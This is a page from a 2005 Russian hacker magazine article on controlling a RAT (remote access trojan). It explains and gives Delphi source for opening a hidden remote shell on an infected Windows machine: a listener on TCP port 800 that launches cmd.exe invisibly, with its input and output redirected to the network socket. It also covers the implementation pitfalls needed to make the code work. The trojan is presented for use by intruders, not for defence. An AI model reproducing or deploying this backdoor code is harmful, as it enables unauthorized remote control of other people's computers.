Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #79, ИЮЛЬ 2005 г.

Управление RAT

Ms-Rem

Хакер, номер #079, стр. 079-108-3


[шелл]

Чтобы открыть на зараженной машине шелл, нужно запустить командный интерпретатор (cmd.exe) и перенаправить его ввод-вывод c консоли в Сеть. Осуществляется довольно просто. Ты, наверное, уже знаешь, что каждое консольное приложение в системе имеет три хэндла ввода-вывода: STDIN - стандартный ввод, STDOUT - стандартный вывод и STDERR - стандартный вывод сообщений об ошибках. По умолчанию эти хэндлы связаны с терминалом: ввод берется с клавиатуры, а вывод производится на экран, но можно и переназначать их (всего-то одна строка кода). К примеру, на файлы, пайпы, устройства или даже сокеты. Сразу становится понятно, что для открытия шелла трояну нужно всего-то создать сокет, открыть порт и при подключении к нему запускать cmd.exe с хэндлами, измененными на сокет, полученный в результате успешного соединения (возвращенное значение accept). Таким образом, всякий раз при коннекте к открытому RAT-порту будет грузиться копия интерпретатора с перенаправлением ввода-вывода в сеть.

[шелл – это просто]

begin

// инициализация WinSocks2

WSAStartup($202, WSAData);

// создаем сокет

FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);

SockAddrIn.sin_family := AF_INET;

// назначаем 800 TCP порт для открытия шелла

SockAddrIn.sin_port := htons(800);

bind(FSocket, SockAddrIn, 16);

listen(FSocket, 0); // открываем порт

while true do

begin

// ожидаем соединения

sHandle := accept(FSocket, nil, 0);

if sHandle <> INVALID_SOCKET then

begin

ZeroMemory(@St, SizeOf(TStartupInfo));

St.cb := SizeOf(TStartupInfo);

St.wShowWindow := SW_HIDE;

St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;

St.hStdInput := sHandle;

St.hStdOutput := sHandle;

St.hStdError := sHandle;

// запускаем cmd.exe с перенаправлением ввода-вывода

CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, St, Pr);

CloseHandle(sHandle);

CloseHandle(Pr.hProcess);

CloseHandle(Pr.hThread);

end;

end;

end.

Код, не самый сложный в мире. Даже кажется, что и с первого раза его легко написать без ошибок, однако и тут всплывают два не самых очевидных момента. Во-первых, сокет нужно обязательно создавать с помощью функции WsaSocketA из набора WinSock2, так как сокеты, созданные с помощью socket из WinSock1, нельзя назначать в качестве стандартных хэндлов ввода-вывода других процессов. Правда, для WinSock2 в Delphi нет заголовочных файлов, поэтому функцию приходится объявлять самому. Это делается так:

function WSASocketA(af, wType, protocol: integer; lpProtocolInfo: pointer; g, dwFlags: dword): integer; stdcall; external 'ws2_32.dll';

Во-вторых, при запуске cmd.exe с помощью CreateProcess в передаваемой структуре TStartupInfo нужно установить не только хэндлы ввода-вывода, но и параметр dwFlags в значение STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW. Первая константа укажет на то, что при запуске процесса должны использоваться хэндлы, заданные в TStartupInfo, а вторая - что параметр wShowWindow не будет проигнорирован. Также bInheritHandles, передаваемый функции CreateProcess, следует сделать равным истине, чтобы хэндл открытого соединения был унаследован запускаемым процессом.

Назад на стр. 079-108-2  Содержание  Вперед на стр. 079-108-4